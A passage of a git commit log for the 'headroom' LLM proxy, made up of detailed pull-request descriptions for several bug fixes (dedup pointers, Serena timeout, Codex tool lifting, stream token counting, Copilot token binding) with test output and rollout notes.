OpenAI chat streaming; this path cannot intercept tool calls`, so no
`headroom_retrieve` tool exists on this path and nothing can
mechanically resolve a fold.
2. The pointer names its source as `msg M`, Headroom's internal message
index. OpenAI-compatible chat clients never show the model numbered
messages, so the reference is unresolvable even though the original
bytes are technically still earlier in the same request.

Observed with Kimi k2.7-code / k3 via `wrap copilot`: the model treats
the pointer as deleted output, reports "the renderer is
deduplicating/compressing", and retry-loops near-identical reads (one
session burned ~200 turns; a folded conflicted-files listing hid 4 of 5
conflicted files and the agent committed unresolved `<<<<<<<` markers).

The router already keeps unrecoverable LOSSY output verbatim
(`lossy_unrecoverable_skipped`). Dedup folds are lossless in theory but
unrecoverable in practice on this path; this PR gives them the same
recoverability gate.

Closes #3190

## Type of Change

- [x] Bug fix (non-breaking change that fixes an issue)

## Changes Made

- `headroom/transforms/content_router.py`: `ContentRouter.apply()`
accepts a per-request `cross_turn_dedup_recoverable` kwarg (default
`True`, so every existing caller is byte-identical). When `False`, the
cross-turn dedup pass is skipped and repeated spans stay verbatim,
mirroring the recoverability posture of the lossy
`lossy_unrecoverable_skipped` guard. Config comment on
`enable_cross_turn_dedup` documents the gate.
- `headroom/proxy/handlers/openai.py`: `handle_openai_chat` computes the
gate from the same predicate that already gates CCR retrieval-tool
injection, `_should_inject_openai_chat_ccr_tool(ccr_inject_tool,
stream)`, and threads it into both `openai_pipeline.apply(...)` call
sites (token-mode and non-token-mode branches). Streaming chat requests
skip the fold; buffered (non-streaming) chat, which can inject and
redeem the retrieval tool, keeps folding.
- `headroom/transforms/cold_prefix.py`: `cold_recompact_messages` no
longer hardcodes pointer emission; new keyword-only
`cross_turn_dedup_recoverable: bool = True` is forwarded to the router
gate. The only caller (Anthropic cache-mode cold turn) keeps the default
and is unchanged.
- `tests/test_cross_turn_dedup.py`: router-gate regression tests
(unrecoverable path keeps verbatim bytes for both the OpenAI `role:tool`
string shape and the Anthropic `tool_result` block shape;
default/explicit-`True` still folds).
- `tests/test_cold_prefix.py` (new): recompaction folds by default
(Anthropic path unchanged) and keeps verbatim bytes with
`cross_turn_dedup_recoverable=False`.
- `tests/test_openai_chat_dedup_recoverability.py` (new): end-to-end
through the real `/v1/chat/completions` handler with
`HEADROOM_DEDUPE=1`, capturing the exact upstream request body:
`stream=True` keeps both copies byte-verbatim with no `[↑` pointer;
`stream=False` still folds; `stream=False` under `--lossless` (which
forces `ccr_inject_tool=False`) also keeps verbatim bytes, locking the
intended coupling of "no retrieval tool" to "no bare pointer".

## Testing

- [x] Unit tests pass (`pytest`)
- [x] Linting passes (`ruff check .`)
- [x] Type checking passes (`mypy headroom`)
- [x] New tests added for new functionality
- [x] Manual testing performed

### Test Output

```text
# BEFORE (branch base, fix reverted): the streaming regression test fails,
# the upstream body carries the unresolvable pointer and drops the bytes.
$ git stash push headroom/ && uv run pytest -q \
    tests/test_openai_chat_dedup_recoverability.py::test_streaming_chat_keeps_verbatim_bytes_no_dedup_pointer
E   assert '[↑' not in "fix the ove...t merge.py']"
E     '[↑' is contained here:
E       [↑14L same as msg 2: '$ cat merge.py']
FAILED tests/test_openai_chat_dedup_recoverability.py::test_streaming_chat_keeps_verbatim_bytes_no_dedup_pointer
(same run: test_cold_recompact_unrecoverable_path_keeps_verbatim_bytes also fails pre-fix;
both recoverable-path legs pass before and after)

# AFTER (full diff applied):
$ uv run pytest tests/test_cross_turn_dedup.py tests/test_cold_prefix.py \
    tests/test_openai_chat_dedup_recoverability.py \
    tests/test_proxy/test_openai_chat_ccr_injection.py tests/test_no_ccr_lossy.py \
    tests/test_openai_chat_turn_hooks.py tests/test_openai_chat_tool_desc_compaction.py \
    tests/test_responses_cross_turn_dedup.py -q
45 passed, 2 warnings in 8.75s

$ uv run pytest tests/test_proxy/ tests/test_openai_codex_routing.py \
    tests/test_openai_chat_turn_hooks.py tests/test_openai_chat_tool_desc_compaction.py \
    tests/test_openai_beta_session_sticky.py tests/test_openai_max_completion_tokens.py \
    tests/test_no_ccr_lossy.py tests/test_netcost_gate.py tests/test_agent_savings.py \
    tests/test_cross_turn_dedup.py tests/test_cold_prefix.py \
    tests/test_openai_chat_dedup_recoverability.py -q
424 passed, 2 warnings in 73.52s

$ uv run ruff format --check <touched files> && uv run ruff check <touched files>
All checks passed!
$ uv run mypy headroom/transforms/cold_prefix.py headroom/transforms/content_router.py headroom/proxy/handlers/openai.py
Success: no issues found in 3 source files

$ cargo fmt --all -- --check   # FMT_OK
$ cargo clippy --all-targets   # 2 pre-existing warnings in untouched lib-test code, no errors
$ cargo test                   # all targets green; see Additional Notes for the one environmental exception
```

## Real Behavior Proof

- Environment: macOS (Darwin), Python 3.13, repo tip `upstream/main`
5e0ce242 (v0.36.2). No secrets, no external network: the proof drives
the real proxy handler in-process via FastAPI `TestClient` with the
upstream send stubbed, capturing the exact request body the provider
would receive.
- Exact command / steps (copy-pasteable, self-contained): next lines

  ```sh
# 1. The bug, on the branch base (pointer emitted on the streaming
path):
  git stash push headroom/   # or check out upstream/main
uv run pytest -q tests/test_openai_chat_dedup_recoverability.py #
streaming leg FAILS
  git stash pop

  # 2. The fix:
uv run pytest -q tests/test_openai_chat_dedup_recoverability.py # both
legs pass
  ```

The test posts a chat-completions request whose history contains two
identical multi-line tool outputs (the shape that folds), with
`HEADROOM_DEDUPE=1`, and asserts on the captured upstream body:
- `stream=True` (the `wrap copilot` shape): both copies forwarded
byte-verbatim, no `[↑NL same as msg M]` pointer anywhere.
- `stream=False` (buffered, retrieval tool injectable): the repeated
span still folds to a pointer; the earliest copy stays verbatim as the
in-context original.
- Observed result: BEFORE, the streaming leg fails with the pointer
present in the upstream body (same
`transforms=router:cross_turn_dedup:N` evidence seen in proxy.log when
the bug bit). AFTER, streaming keeps verbatim bytes and buffered keeps
folding; the full touched-module suite (423 tests) is green.
- Not tested: a live `wrap copilot` session against the real Copilot API
(needs a subscription token; the in-process test captures the identical
upstream body the handler produces). The Responses API path
(`_dedup_responses_output_items`, Codex) is intentionally untouched:
Responses streaming has a separate buffered-CCR path that can intercept
tool calls. `/v1/compress` derived pipelines keep the default
(recoverable) behavior. Separately worth verifying in a follow-up:
whether `headroom_retrieve` resolves `msg M` dedup pointers on the paths
that keep folding, or only CCR `hash=` content markers (the
Anthropic-path fold is retained per the issue's scope, where it has not
been observed to cause retry loops).

## Runtime Rollout Safety

- Rollout-managed feature(s): none
- Minimum rollout channel: N/A
- Stable/default behavior changed: only the OpenAI chat-completions
request path, and only when cross-turn dedup is active (opt-in
`HEADROOM_DEDUPE=1`, or cold-prefix recompaction): streaming chat now
keeps repeated tool-output bytes verbatim instead of emitting `[↑NL same
as msg M]` pointers, and (because `--lossless` forces
`ccr_inject_tool=False`) buffered chat in lossless mode does the same.
Buffered chat with CCR on, Anthropic, Responses, and `/v1/compress` are
byte-identical to before (default `cross_turn_dedup_recoverable=True`;
the Responses fold is covered by the untouched, still-green
`tests/test_responses_cross_turn_dedup.py`).
- Kill switch / disable path: dedup remains opt-in via
`HEADROOM_DEDUPE`; the gate itself can be overridden per request by
passing `cross_turn_dedup_recoverable=True`.
- Unsafe override required: no
- Qualification impact: none
- Rollback path: revert the single commit; no state, schema, or config
migration involved.

## Review Readiness

- [x] I have performed a self-review
- [x] This PR is ready for human review

## Checklist

- [x] My code follows the project's style guidelines
- [x] I have performed a self-review of my code
- [x] I have commented my code, particularly in hard-to-understand areas
- [x] I have made corresponding changes to the documentation (docstrings
+ config comments)
- [x] My changes generate no new warnings
- [x] I have added tests that prove my fix is effective or that my
feature works
- [x] New and existing unit tests pass locally with my changes
- [x] I did **not** edit `CHANGELOG.md` — it is generated by
release-please from my Conventional Commit PR title (a CI guard enforces
this)

## Screenshots (if applicable)

N/A

## Additional Notes

- Mirrors the existing recoverability precedent: the lossy path already
refuses to emit unrecoverable output (`lossy_unrecoverable_skipped`,
issue #1307); this extends the same posture to cross-turn dedup folds.
- The gate reuses `_should_inject_openai_chat_ccr_tool`, the predicate
that already decides whether the chat path can redeem an injected
retrieval tool, so the two can never drift apart.
- Prefer-false-negatives posture: a skipped fold only ever means bytes
stay verbatim; no content is dropped, reordered, or lossy-transformed by
this change.
- Secondary operational bug noticed while diagnosing (NOT fixed here,
separate issue candidate): all concurrent proxy processes write the same
`~/.headroom/logs/proxy.log` with independent rotating handlers, so
rotation stomps history across `wrap` instances on different ports.
- Local environment note: `cargo test` on this machine hangs inside
`crates/headroom-core/tests/kompress_parity.rs` (both tests stall in
`ort` ONNX-runtime environment init, reproducible on the untouched
branch base; this PR changes no Rust). With those two tests skipped, the
full Rust suite is green (all targets `ok`, 0 failed). `cargo clippy
--all-targets` and `cargo fmt --all -- --check` pass as-is.
2026-08-21 15:51:05 -07:00
Ayush Kumar Jha
202c1895e1
fix(wrap): make the Serena pre-index stall budget configurable (#3183)
## Description

`headroom wrap` blocks the agent launch on a synchronous Serena
pre-index whose
300-second ceiling is a hardcoded module constant. When indexing exceeds
it the user
waits the full five minutes, the work is discarded (`Serena: pre-index
timed out (will
index on demand)`), and nothing — env var, flag, or config — can shrink
that budget.

Closes #3093

### Why this is still open after #2938

`_serena_project_skip_reason` keeps the pre-index off non-project roots,
which covers
the reporter's two repro directories. But it **defers the stall by one
wrap rather than
removing it**: as that function's own docstring notes, Serena's MCP
server generates
`project.yml` itself on first start, "so the pre-index simply resumes
from the next wrap
onwards." A parent-of-many-repos directory therefore gets claimed during
the first
session and pays the full 300s budget on every wrap after that. The
reporter's remaining
ask — "I'd also like the pre-index timeout to be configurable" — is the
unfixed half.

## Type of Change

- [x] Bug fix (non-breaking change that fixes an issue)

## Changes Made

- Added `HEADROOM_SERENA_INDEX_TIMEOUT` and
`_resolve_serena_index_timeout_seconds()`, modelled on the existing
`_resolve_wrap_proxy_timeout_seconds()` in the same module.
- `_index_serena_project` resolves the budget after the `uvx` guard and
passes it to `communicate()` instead of the bare constant.
- `_SERENA_INDEX_TIMEOUT = 300` stays as the default, so unset behavior
is unchanged.
- Added 19 tests covering the resolver and the pre-index call path.

### Deliberate divergence from the proxy-timeout precedent

`_resolve_wrap_proxy_timeout_seconds` raises `RuntimeError` on a bad
value, which is
right for a subsystem the wrap cannot proceed without. The pre-index is
documented as
best-effort and non-fatal, so raising there would let a typo'd env var
abort a launch
that would otherwise succeed. An unusable value instead warns and falls
back to 300s.
The warning is unconditional (not gated on `--verbose`) because a knob
that looks
applied but is not is the failure this issue reports.

## Testing

- [x] Unit tests pass (`pytest`)
- [x] Linting passes (`ruff check .`)
- [x] Type checking passes (`mypy headroom`)
- [x] New tests added for new functionality
- [x] Manual testing performed

### Test Output

```text
$ python -m pytest tests/test_cli/test_wrap_serena_boost.py -q
43 passed, 1 skipped, 1 warning in 1.13s       # 24 pre-existing + 19 new

# the same 19 tests against the unpatched tree:
18 failed, 1 passed, 24 deselected             # the 1 passer is a pre-existing test caught by -k

$ python -m pytest tests/test_cli/ -q
3 failed, 696 passed, 2 skipped in 57.80s
# the 3 are pre-existing Windows failures (symlink handling in test_recover_codex.py
# and test_unwrap_claude.py); they fail identically on an unpatched tree.

$ python -m ruff check headroom/cli/wrap.py tests/test_cli/test_wrap_serena_boost.py
All checks passed!
$ python -m ruff format --check headroom/cli/wrap.py tests/test_cli/test_wrap_serena_boost.py
2 files already formatted
$ python -m mypy headroom/cli/wrap.py
Success: no issues found in 1 source file
```

Regression check across all 42 test modules that import
`headroom.cli.wrap`, run in both
states with the working tree md5-verified before each run: identical
81-line
failure/error set, +19 passing with the fix.

## Real Behavior Proof

- Environment: Windows 11 Home 26200, Python 3.11.9, headroom at 0.36.2
(`5e0ce24`). Serena/`uvx` are not installed on this machine and the Rust
`_core` extension is not built (no Rust toolchain), so a full `headroom
wrap claude` could not be launched — see `Not tested`.
- Exact command / steps: drove the real `_index_serena_project()` with a
real child process, a real process group, real
`communicate(timeout=...)`, real `TimeoutExpired`, and the real
`_kill_serena_index_tree`, timing each phase with a monotonic clock at
`HEADROOM_SERENA_INDEX_TIMEOUT=2` and `=4`. Only *which* binary runs was
substituted (a 120s sleeper in place of `serena project index`), since
the timeout logic is indifferent to the callee.
- Observed result: the configured budget controls the wait exactly — a
2s budget waits 2.02s and a 4s budget waits 4.02s, where before the
change the same harness reports 300s regardless of any env var set. Full
output below.
- Not tested: an end-to-end `headroom wrap claude/opencode` against a
real `serena project index` (uvx/serena unavailable here); non-Windows
platforms; the interaction with a genuinely large monorepo index.

```text
budget=2s | waited  2.02s for timeout | teardown 10.02s | total 12.03s
budget=4s | waited  4.02s for timeout | teardown 10.02s | total 14.03s

misconfigured value:
  Serena: ignoring HEADROOM_SERENA_INDEX_TIMEOUT='30s' (want a positive integer
  number of seconds) - using 300s
  -> resolved to 300s, no exception raised
```

### Incidental finding (not addressed here)

On Windows, `_kill_serena_index_tree` adds a constant ~10s after any
timed-out
pre-index — one of its two 10s bounds (`taskkill` / `proc.wait`) is hit
every time. So a
2s budget still costs ~12s wall clock. That is pre-existing #2938 code
untouched by this
PR, but it caps how small the stall can usefully get and may deserve its
own issue.

## Runtime Rollout Safety

- Rollout-managed feature(s): none — this is a plain env var, not a
rollout-channel feature.
- Minimum rollout channel: n/a — available on every channel, inert
unless set.
- Stable/default behavior changed: no — unset resolves to the existing
300s constant.
- Kill switch / disable path: unset `HEADROOM_SERENA_INDEX_TIMEOUT`;
skipping the pre-index entirely remains `--no-serena`.
- Unsafe override required: no.
- Qualification impact: none — no change to compression, proxy, or
provider behavior.
- Rollback path: revert the commit; no persisted state, no migration, no
config to clean up.

## Review Readiness

- [x] I have performed a self-review
- [x] This PR is ready for human review

## Checklist

- [x] My code follows the project's style guidelines
- [x] I have performed a self-review of my code
- [x] I have commented my code, particularly in hard-to-understand areas
- [x] My changes generate no new warnings
- [x] I have added tests that prove my fix is effective or that my
feature works
- [x] New and existing unit tests pass locally with my changes
- [x] I did **not** edit `CHANGELOG.md` — it is generated by
release-please from my Conventional Commit PR title (a CI guard enforces
this)

## Additional Notes

**Alternatives considered.** A CLI flag (`--serena-index-timeout`) is
more discoverable
but has to be threaded through four `wrap` subcommands, adds CLI surface
that
CONTRIBUTING gates behind maintainer sign-off, and would not reach `wrap
... -- agents`
sessions. Making the pre-index asynchronous removes the stall outright
and is arguably
the better end state, but it is an architectural change and would reopen
the
orphaned-grandchild failure mode #2938 just closed. Auto-scaling the
budget by project
size reintroduces the kind of hand-maintained heuristic #2938
deliberately removed.

**What this does not solve.** The default is still 300s, so a user who
never sets the
variable still stalls; the reporter's third point (using Serena in
background agent
sessions launched from a parent directory) is a Serena-semantics
question rather than a
headroom defect; and an in-flight pre-index is still not interruptible.

**Open questions for maintainers.**

1. Should `0` mean "skip the pre-index" instead of being rejected? I
kept the
proxy-timeout precedent (reject `<= 0`) since `--no-serena` already
covers disabling,
   but the other reading is defensible.
2. `HEADROOM_WRAP_PROXY_TIMEOUT` — the closest precedent — is not in
`docs/content/docs/configuration.mdx`, so I matched it and left docs
alone. Happy to
   add a row if you would rather document it.
3. If you consider a new env knob a feature rather than part of this
bug, say so and I
   will hold for a maintainer sign-off before you spend review time.

Documentation: no `CHANGELOG.md` edit (release-please generates it from
the PR title).
2026-08-21 14:59:53 -07:00
gglucass
25ca580825
fix(proxy/responses): lift Codex >= 0.149.0 additional_tools into top-level tools (#3186)
## Description

Codex CLI 0.149.0 (npm `latest` since 2026-08-20 21:09 UTC) stopped
sending a top-level `tools` array on `/v1/responses` for models its
server-fetched capability cache flags (`gpt-5.6-sol`, its new default).
Tool definitions now ride inside `input` as items of a new type:

```json
{"type": "additional_tools", "tools": [ {...}, {...} ]}
```

Every tools consumer in the proxy - `tool_schema_compaction`, the
output-shaper stratum, the tools token accounting - reads only
`payload["tools"]`, so these requests classify `notools` and record
exactly zero tool-schema savings while forwarding and streaming
normally. Users on Codex <= 0.148 are unaffected; users silently lose
savings the moment their CLI updates. On our fleet the day after the
Codex release, 42 of 54 codex-primary users active in a 12h window had
savings frozen, and 0 of that day's codex new signups recorded any
savings.

This PR normalizes the new encoding to the classic one before
compression: `_lift_codex_additional_tools(payload)` concatenates the
carrier items' `tools` arrays into `payload["tools"]` and drops the
carriers from `input`, in place, once per compression pass - at the top
of `_compress_openai_responses_payload_in_executor`, the single funnel
every responses call site goes through (HTTP `/v1/responses`, WS first
and subsequent frames, passthrough). It no-ops when top-level `tools` is
already present, so classic-encoding clients pay nothing and a future
Codex reverting the change costs nothing. Normalizing (rather than
compacting inside the items and preserving the new wire shape) keeps
every downstream consumer working without touching their accounting; the
alternative shape is discussed in #3185.

Closes #3185

## Type of Change

- [x] Bug fix (non-breaking change that fixes an issue)
- [ ] New feature (non-breaking change that adds functionality)
- [ ] Breaking change (fix or feature that would cause existing
functionality to change)
- [ ] Documentation update
- [ ] Performance improvement
- [ ] Code refactoring (no functional changes)

## Changes Made

- `headroom/proxy/handlers/openai.py`: new module function
`_lift_codex_additional_tools(payload, *, request_id=None)` plus
`_codex_additional_tools_lift_enabled()` (env gate via
`runtime_env.getenv`, hot-reloadable); called defensively at the top of
`_compress_openai_responses_payload_in_executor` so a lift failure can
never break forwarding.
- `tests/test_openai_responses_additional_tools.py`: 8 tests - lift
shape, multi-carrier concatenation, no-op on classic encoding, no-op
without carriers / non-dict / non-list input, kill switch, logging,
empty-carrier preservation, and lift-then-compaction integration
reproducing the exact production failure (compaction returns unmodified
without the lift).

## Testing

- [x] Unit tests pass (`pytest`)
- [x] Linting passes (`ruff check .`)
- [x] Type checking passes (`mypy headroom`)
- [x] New tests added for new functionality
- [x] Manual testing performed

### Test Output

```text
$ uv run --frozen --extra dev pytest tests/test_openai_responses_additional_tools.py tests/test_openai_responses_context_compaction.py -q
==== 18 passed in 2.71s ====

$ uv run --frozen --extra dev pytest tests/test_proxy_openai.py -q   # adjacent handler suite
==== 31 passed, 1 warning in 26.36s ====

$ uv run --frozen ruff check headroom/proxy/handlers/openai.py tests/test_openai_responses_additional_tools.py
All checks passed!
$ uv run --frozen ruff format --check headroom/proxy/handlers/openai.py tests/test_openai_responses_additional_tools.py
2 files already formatted
$ uv run --frozen mypy headroom/proxy/handlers/openai.py
Success: no issues found in 1 source file
```

## Real Behavior Proof

- Environment: macOS 15 (arm64), headroom-ai 0.35.0 wheel in a fresh
venv with empty state (`HOME` pointed at an empty dir), `headroom proxy
--port 6799 --no-http2 --log-messages --no-ccr`; Codex CLI 0.149.0
(standalone npm install) and 0.142.4, ChatGPT-plan OAuth, routed via a
`[model_providers]` block in `config.toml`.
- Exact command / steps: `CODEX_HOME=<test home> codex exec
--skip-git-repo-check "Run the shell command: echo headroom-test-123.
Then reply with exactly the output it printed."` against the proxy,
before and after injecting the lift (via a sitecustomize carrying the
same function); cross-checked Codex 0.142.4 default (gpt-5.5), 0.142.4
`-m gpt-5.6-sol`, and 0.149.0 `-m gpt-5.5`.
- Observed result: before - `/v1/responses compressed 59425->59425 bytes
(0 tokens saved,
transforms=['output_shaper:stratum:gpt|new_user_ask|m|notools',
'output_shaper:verbosity:L2'])` despite ~12k tokens of tool schemas in
the request (Codex's own `tool_token_count` log field). After -
`/v1/responses compressed 59437->58716 bytes (608 tokens saved,
transforms=['output_shaper:stratum:gpt|new_user_ask|m|tools',
'output_shaper:verbosity:L2',
'openai:responses:tool_schema_compaction'])`; the shell tool call
executed against the live ChatGPT Codex backend and returned its output,
the follow-up turn classified `mechanical_continuation|m|tools`, and the
prefix cache stayed hot (cache_hit_pct=100 on turn 2). The three
cross-check matrix cells all compress, confirming the backend accepts
the classic top-level encoding for these models and that the regression
is 0.149.0's default-model path specifically.
- Not tested: Codex over the WebSocket transport (the verified setups
pin `supports_websockets = false`; the lift sits in the shared executor
those frames also funnel through, and unit tests cover the per-frame
payload shapes); non-ChatGPT (API-key) Codex auth; models other than
gpt-5.5/gpt-5.6-sol.

## Runtime Rollout Safety

- Rollout-managed feature(s): none - not wired to the rollout system.
- Minimum rollout channel: n/a.
- Stable/default behavior changed: only for requests carrying
`additional_tools` input items with no top-level `tools` (the Codex >=
0.149.0 default-model encoding, which today gets zero compression); all
other traffic is byte-identical.
- Kill switch / disable path: `HEADROOM_CODEX_ADDITIONAL_TOOLS_LIFT=0`
(read through `runtime_env.getenv`, so hot-reload overrides apply
without a restart).
- Unsafe override required: no.
- Qualification impact: none known.
- Rollback path: set the kill switch, or revert this single commit - the
lift is self-contained (one function + one guarded call site).

## Review Readiness

- [x] I have performed a self-review
- [x] This PR is ready for human review

## Checklist

- [x] My code follows the project's style guidelines
- [x] I have performed a self-review of my code
- [x] I have commented my code, particularly in hard-to-understand areas
- [ ] I have made corresponding changes to the documentation
- [x] My changes generate no new warnings
- [x] I have added tests that prove my fix is effective or that my
feature works
- [x] New and existing unit tests pass locally with my changes
- [x] I did **not** edit `CHANGELOG.md` — it is generated by
release-please from my Conventional Commit PR title (a CI guard enforces
this)

## Screenshots (if applicable)

n/a - proxy log lines quoted under Real Behavior Proof.

## Additional Notes

- Documentation checklist item is unchecked because no user-facing docs
describe the responses tools handling; happy to add a line wherever you
track client-compat notes if you have a preferred spot.
- If you would rather preserve the new wire shape upstream (compact
inside the carrier items instead of normalizing), I am happy to rework -
trade-offs are laid out in #3185.

🤖 Generated with [Claude Code](https://claude.com/claude-code)

Co-authored-by: Claude Fable 5 <noreply@anthropic.com>
2026-08-21 14:12:18 -07:00
Tejas Chopra
4006964a03
fix(proxy): count output tokens from the stream's text, not its wire size (#3163)
## Description

From a user's proxy log (Copilot Chat, 0.36.x), on every streamed turn:

```
WARNING Could not parse output_tokens from SSE, estimating 8 from 334 bytes
```

When an upstream sends no usage chunk, output tokens were estimated as
`total_bytes // 40` over the **raw SSE wire** — every `data:` prefix,
JSON envelope, `role` / `finish_reason` / `id` / `model` field and
blank-line framing included.

The divisor is a fudge for "bytes per token *including framing
overhead*", so its error tracks **how chattily the answer was chunked**
rather than how long the answer was. The same text split into more
deltas scores higher purely for being split.

GitHub's Copilot CAPI is one of the upstreams that omits the usage
chunk, so this was every Copilot turn's output number — and output
tokens feed both the output-shaping savings estimate and the cost model.

Closes #

## Type of Change

- [x] Bug fix (non-breaking change that fixes an issue)
- [ ] New feature (non-breaking change that adds functionality)
- [ ] Breaking change (fix or feature that would cause existing
functionality to change)
- [ ] Documentation update
- [ ] Performance improvement
- [ ] Code refactoring (no functional changes)

## Changes Made

- New pure module `headroom/proxy/stream_output_tokens.py`. The stream's
own text is already in the buffer at the estimation site
(`_finalize_stream_response` receives `full_sse_data`), so extract it
and count that instead of the wire.
- Handles all three forwarded surfaces: OpenAI chat
`choices[].delta.content`, OpenAI responses `*.delta`, Anthropic
`content_block_delta`.
- Counts **reasoning deltas and tool-call arguments** too — the provider
bills those as output, so omitting them would under-count exactly the
most expensive turns.
- `bytes // 40` survives only as the last resort for a stream whose text
could not be recovered. That is the upstream-error path, which reaches
the finalizer with no stream text and has no generated text to count —
so it keeps its previous behavior exactly.
- The log line named the wrong basis (it always said "from N bytes"), so
it now reports which rung produced the number.
- Parsing is I/O-free and hardened against malformed input — it runs on
the response path, where an exception would break a turn that had
already succeeded.

## Testing

- [x] Unit tests pass (`pytest`)
- [x] Linting passes (`ruff check .`)
- [x] Type checking passes (`mypy headroom`)
- [x] New tests added for new functionality
- [ ] Manual testing performed

### Test Output

```text
$ pytest tests/test_stream_output_tokens.py -q
21 passed in 0.23s

$ pytest tests/ -q -k stream
502 passed, 19 skipped

$ pytest tests/ -q          # this branch
6 failed, 11394 passed, 587 skipped in 426.13s

All 6 also fail on clean origin/main, same machine — pre-existing, not regressions:
  test_graceful_shutdown.py::test_run_server_installs_cancelled_error_filter
  test_learn/test_integration.py::TestCodexIntegration::test_full_pipeline
  test_release_workflows.py::test_no_native_tls_in_wheel_build_tree
  test_providers/test_deepseek.py::...  (3 litellm pricing tests)

$ ruff check headroom/
All checks passed!

$ mypy headroom/proxy/stream_output_tokens.py
Success
```

Coverage includes: per-surface extraction; reasoning/tool-argument
deltas; multi-line `data:` fields (per the SSE spec); 10 malformed-input
shapes that must yield `""` rather than raise; and the two properties
that motivated the change —

- **chunk-invariance**: the same text split one-delta vs per-character
now yields the same count, where the wire estimator disagreed wildly;
- **a short answer is never recorded as zero** (integer division would
report 0 tokens for `"OK"`).

## Real Behavior Proof

- **Environment:** macOS, Python 3.12.13, branch on `origin/main` @
`a3821378`.
- **Exact command / steps:** ran the estimator over a synthetic OpenAI
chat stream matching the reported shape.
- **Observed result:** for a 144-byte stream carrying `"Hello there,
this is the answer."` (31 chars), the old path yields `144 // 40 = 3`
tokens; the new path extracts the text and yields `8`, tagged
`estimated_text`. Chunking the same text per-character leaves the new
count unchanged while the wire count changes substantially.
- **Not tested:** no live Copilot CAPI stream was captured; SSE fixtures
are synthetic. The count remains an approximation (`chars // 4`) — this
makes the estimate track the answer instead of the framing, it does not
make it exact. Where the provider does send usage, that value is still
preferred and untouched.

## Runtime Rollout Safety

- **Rollout-managed feature(s):** none.
- **Minimum rollout channel:** n/a.
- **Stable/default behavior changed:** only for streams with **no**
provider usage chunk — reported output tokens become larger and more
accurate. Provider-reported usage is preferred exactly as before.
- **Kill switch / disable path:** n/a. `output_tokens_source` is already
recorded on the outcome tags, so provider vs estimated vs byte-fallback
stays distinguishable downstream.
- **Unsafe override required:** none.
- **Qualification impact:** output-shaping savings and cost estimates
for affected upstreams shift to a better-grounded number.
- **Rollback path:** revert the commit.

## Review Readiness

- [x] I have performed a self-review
- [x] This PR is ready for human review

## Checklist

- [x] My code follows the project's style guidelines

Co-authored-by: Tejas Chopra <tejas@Tejass-MacBook-Pro.local>
Co-authored-by: Claude Opus 5 <noreply@anthropic.com>
2026-08-20 22:11:55 -07:00
Tejas Chopra
397803a942
fix(copilot): bind the minted token to the integration ID we forward (#3164)
## Description

Reported from a Copilot CLI session:

```
[CopilotCLISession] Failed to fetch models: Error: 401 "unauthorized:
    unable to validate HMAC for the given Copilot-Integration-ID"
[CopilotCLISession] Proxy URL configured (authType=hmac), skipping
    client-side token validation
```

GitHub **binds a Copilot API token to the `Copilot-Integration-Id` it
was minted under** and verifies the pairing with an HMAC. Present a
token minted for integration A alongside a header naming integration B,
and you get exactly this error.

`apply_copilot_api_auth` applied the integration ID with *set-default*
semantics — `_set_header_default` returns early when the header is
already present — **before** deciding whose token to use:

```python
for name, value in _copilot_chat_header_defaults().items():
    _set_header_default(resolved, name, value)   # ← never overwrites
...
if incoming_auth and _is_forwardable_copilot_bearer_token(...):
    return resolved                               # client's token kept
...
token = await get_copilot_token_provider().get_api_token()   # ← REPLACED
```

The client always sends an ID, so when Headroom replaced the token — the
common case, logged as `incoming token not suitable (kind=unknown), will
replace` — the request left carrying **the client's integration ID next
to Headroom's token**, minted under `vscode-chat` via
`_copilot_token_exchange_headers`. A Copilot CLI session does not
identify as `vscode-chat`.

The second log line is why nothing caught it sooner: seeing a proxy URL,
the Copilot client reports `authType=hmac` and **skips its own token
validation**, deferring to the proxy. Nobody validates the pairing until
GitHub rejects it.

**Why this matters beyond one 401:** the failing call is *model
discovery*. When it fails the client falls back to its built-in model
list — which is why a user's selected model never appeared in telemetry
and all traffic surfaced as `gpt-4o-mini`.

Closes #

## Type of Change

- [x] Bug fix (non-breaking change that fixes an issue)
- [ ] New feature (non-breaking change that adds functionality)
- [ ] Breaking change (fix or feature that would cause existing
functionality to change)
- [ ] Documentation update
- [ ] Performance improvement
- [ ] Code refactoring (no functional changes)

## Changes Made

Restores one invariant: **the credential and the integration ID leave
together.**

- **Mint under the client's ID** rather than the proxy's default, so
GitHub's usage attribution keeps pointing at the surface that actually
made the call.
- **Overwrite the forwarded header to match what we minted** — but only
on the replace path. The pass-through branch returns earlier and keeps
the client's own ID beside the client's own token, which is equally a
matched pair.
- **Key the token cache by integration ID.** A single slot would hand a
`vscode-chat` token to a CLI session and reproduce the same 401 straight
from cache.

Two existing contracts deliberately preserved:

- Resolution order is **client header > `GITHUB_COPILOT_INTEGRATION_ID`
> built-in default**. The env var configures the *default* this proxy
sends; it does not override a client that stated its own identity.
Pinned by the existing
`test_apply_copilot_api_auth_preserves_existing_copilot_headers` (whose
fixture literally names the value `should-not-override`).
- The overwrite writes through the client's **existing key**, so a
lowercase `copilot-integration-id` does not gain a second capitalised
variant beside it — pinned by the existing
`..._preserves_existing_headers_case_insensitively`.

Existing test stubs for `get_api_token` gained the new keyword — the
same signature-drift hazard this repo just hit in
`RemoteKompressCompressor` (#3162).

## Testing

- [x] Unit tests pass (`pytest`)
- [x] Linting passes (`ruff check .`)
- [x] Type checking passes (`mypy headroom`)
- [x] New tests added for new functionality
- [ ] Manual testing performed

### Test Output

```text
$ pytest tests/ -q -k copilot
338 passed, 8 skipped

$ pytest tests/ -q          # this branch
6 failed, 11386 passed, 587 skipped in 425.40s

All 6 also fail on clean origin/main, same machine — pre-existing, not regressions:
  test_graceful_shutdown.py::test_run_server_installs_cancelled_error_filter
  test_learn/test_integration.py::TestCodexIntegration::test_full_pipeline
  test_release_workflows.py::test_no_native_tls_in_wheel_build_tree
  test_providers/test_deepseek.py::...  (3 litellm pricing tests)

$ ruff check headroom/
All checks passed!

$ mypy headroom/copilot_auth.py
0 errors
```

12 new tests: the mint/forward pairing, the pass-through branch keeping
the client's pair untouched, no duplicate case-variant header,
resolution order in both directions, blank/absent client values,
non-Copilot upstreams untouched, and per-integration cache isolation.

## Real Behavior Proof

- **Environment:** macOS, Python 3.12.13, branch on `origin/main` @
`a3821378`.
- **Exact command / steps:** drove `apply_copilot_api_auth` with the
reported shape — an unusable client bearer plus `Copilot-Integration-Id:
copilot-cli-chat` against `api.githubcopilot.com` — and compared the ID
the token would be **minted under** (via
`_copilot_token_exchange_headers`) against the ID actually
**forwarded**. Run against the same script before and after the change,
with `PYTHONPATH` pinned to the worktree.
- **Observed result:**

```
